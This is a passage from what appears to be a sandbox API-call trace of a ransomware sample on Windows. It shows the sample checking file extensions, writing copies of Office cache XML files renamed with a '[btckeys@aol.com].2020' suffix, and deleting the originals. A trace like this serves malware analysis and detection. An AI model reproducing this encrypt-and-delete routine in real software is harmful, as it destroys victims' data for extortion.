Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.545] lstrlenW (lpString=".zip") returned 4 [0064.545] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.545] lstrlenW (lpString=".rar") returned 4 [0064.545] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.545] lstrlenW (lpString=".bz2") returned 4 [0064.545] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.545] lstrlenW (lpString=".7z") returned 3 [0064.545] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.546] lstrlenW (lpString=".dbf") returned 4 [0064.546] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.546] lstrlenW (lpString=".1cd") returned 4 [0064.546] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.546] lstrlenW (lpString=".jpg") returned 4 [0064.546] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.546] lstrlenW (lpString=".doc") returned 4 [0064.546] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.546] lstrlenW (lpString=".docx") returned 5 [0064.546] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.546] lstrlenW (lpString=".pdf") returned 4 [0064.546] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.546] lstrlenW (lpString=".xls") returned 4 [0064.546] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.546] lstrlenW (lpString=".xlsx") returned 5 [0064.546] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.546] lstrlenW (lpString=".ppt") returned 4 [0064.546] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.546] lstrlenW (lpString=".zip") returned 4 [0064.546] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.546] lstrlenW (lpString=".rar") returned 4 [0064.546] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.547] lstrlenW (lpString=".bz2") returned 4 [0064.547] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.547] lstrlenW (lpString=".7z") returned 3 [0064.547] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.547] lstrlenW (lpString=".dbf") returned 4 [0064.547] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.547] lstrlenW (lpString=".1cd") returned 4 [0064.547] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.547] lstrlenW (lpString=".jpg") returned 4 [0064.547] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.547] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.547] lstrlenW (lpString="Setup.xml") returned 9 [0064.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.548] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1988) returned 1 [0064.548] CloseHandle (hObject=0x16c) returned 1 [0064.549] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0064.549] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.549] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.549] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.549] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.550] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0064.550] GetLastError () returned 0x0 [0064.550] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7c4, lpOverlapped=0x0) returned 1 [0064.551] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0064.552] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0064.552] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0064.552] SetEndOfFile (hFile=0x188) returned 1 [0064.552] CloseHandle (hObject=0x188) returned 1 [0064.553] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.553] SetEndOfFile (hFile=0x16c) returned 1 [0064.553] CloseHandle (hObject=0x16c) returned 1 [0064.554] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.554] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0064.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.554] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.554] lstrlenW (lpString=".doc") returned 4 [0064.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.554] lstrlenW (lpString=".docx") returned 5 [0064.554] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.554] lstrlenW (lpString=".pdf") returned 4 [0064.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.554] lstrlenW (lpString=".xls") returned 4 [0064.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString=".xlsx") returned 5 [0064.555] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.555] lstrlenW (lpString=".ppt") returned 4 [0064.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.555] lstrlenW (lpString=".zip") returned 4 [0064.555] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.555] lstrlenW (lpString=".rar") returned 4 [0064.555] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString=".bz2") returned 4 [0064.555] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString=".7z") returned 3 [0064.555] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.555] lstrlenW (lpString=".dbf") returned 4 [0064.555] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.555] lstrlenW (lpString=".1cd") returned 4 [0064.555] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.555] lstrlenW (lpString=".jpg") returned 4 [0064.555] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.555] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.555] lstrlenW (lpString=".doc") returned 4 [0064.555] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.555] lstrlenW (lpString=".docx") returned 5 [0064.555] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.556] lstrlenW (lpString=".pdf") returned 4 [0064.556] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.556] lstrlenW (lpString=".xls") returned 4 [0064.556] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.556] lstrlenW (lpString=".xlsx") returned 5 [0064.556] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.556] lstrlenW (lpString=".ppt") returned 4 [0064.556] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.556] lstrlenW (lpString=".zip") returned 4 [0064.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.556] lstrlenW (lpString=".rar") returned 4 [0064.556] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.556] lstrlenW (lpString=".bz2") returned 4 [0064.556] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.556] lstrlenW (lpString=".7z") returned 3 [0064.556] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.556] lstrlenW (lpString=".dbf") returned 4 [0064.556] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.556] lstrlenW (lpString=".1cd") returned 4 [0064.556] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.556] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.556] lstrlenW (lpString=".jpg") returned 4 [0064.556] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.557] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.557] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0064.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.559] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1452) returned 1 [0064.559] CloseHandle (hObject=0x16c) returned 1 [0064.559] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0064.559] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.559] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.559] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.560] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0064.562] GetLastError () returned 0x0 [0064.562] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5ac, lpOverlapped=0x0) returned 1 [0064.564] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0064.565] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0064.565] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf0, lpOverlapped=0x0) returned 1 [0064.565] SetEndOfFile (hFile=0x188) returned 1 [0064.566] CloseHandle (hObject=0x188) returned 1 [0064.567] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.567] SetEndOfFile (hFile=0x16c) returned 1 [0064.568] CloseHandle (hObject=0x16c) returned 1 [0064.568] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.568] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0064.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.569] lstrlenW (lpString=".doc") returned 4 [0064.569] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.569] lstrlenW (lpString=".docx") returned 5 [0064.569] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.569] lstrlenW (lpString=".pdf") returned 4 [0064.569] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.569] lstrlenW (lpString=".xls") returned 4 [0064.569] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.569] lstrlenW (lpString=".xlsx") returned 5 [0064.569] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.569] lstrlenW (lpString=".ppt") returned 4 [0064.569] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.569] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.569] lstrlenW (lpString=".zip") returned 4 [0064.569] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.569] lstrlenW (lpString=".rar") returned 4 [0064.569] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.569] lstrlenW (lpString=".bz2") returned 4 [0064.569] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.569] lstrlenW (lpString=".7z") returned 3 [0064.569] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.570] lstrlenW (lpString=".dbf") returned 4 [0064.570] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.570] lstrlenW (lpString=".1cd") returned 4 [0064.570] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.570] lstrlenW (lpString=".jpg") returned 4 [0064.570] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.570] lstrlenW (lpString=".doc") returned 4 [0064.570] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.570] lstrlenW (lpString=".docx") returned 5 [0064.570] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.570] lstrlenW (lpString=".pdf") returned 4 [0064.570] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.570] lstrlenW (lpString=".xls") returned 4 [0064.570] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.570] lstrlenW (lpString=".xlsx") returned 5 [0064.570] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.570] lstrlenW (lpString=".ppt") returned 4 [0064.570] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.570] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.570] lstrlenW (lpString=".zip") returned 4 [0064.571] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.571] lstrlenW (lpString=".rar") returned 4 [0064.571] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.571] lstrlenW (lpString=".bz2") returned 4 [0064.571] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.571] lstrlenW (lpString=".7z") returned 3 [0064.571] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.571] lstrlenW (lpString=".dbf") returned 4 [0064.571] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.571] lstrlenW (lpString=".1cd") returned 4 [0064.571] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.571] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0064.571] lstrlenW (lpString=".jpg") returned 4 [0064.571] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.571] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.571] lstrlenW (lpString="Setup.xml") returned 9 [0064.571] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.572] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1872) returned 1 [0064.572] CloseHandle (hObject=0x16c) returned 1 [0064.572] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0064.572] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.572] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.572] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.572] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.572] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0064.573] GetLastError () returned 0x0 [0064.573] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x750, lpOverlapped=0x0) returned 1 [0064.959] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x760, lpOverlapped=0x0) returned 1 [0064.960] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0064.960] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0064.961] SetEndOfFile (hFile=0x188) returned 1 [0064.961] CloseHandle (hObject=0x188) returned 1 [0064.962] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.962] SetEndOfFile (hFile=0x16c) returned 1 [0064.963] CloseHandle (hObject=0x16c) returned 1 [0064.963] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.963] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0064.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.964] lstrlenW (lpString=".doc") returned 4 [0064.964] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.964] lstrlenW (lpString=".docx") returned 5 [0064.964] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.964] lstrlenW (lpString=".pdf") returned 4 [0064.964] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.964] lstrlenW (lpString=".xls") returned 4 [0064.964] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.964] lstrlenW (lpString=".xlsx") returned 5 [0064.964] lstrcmpiW 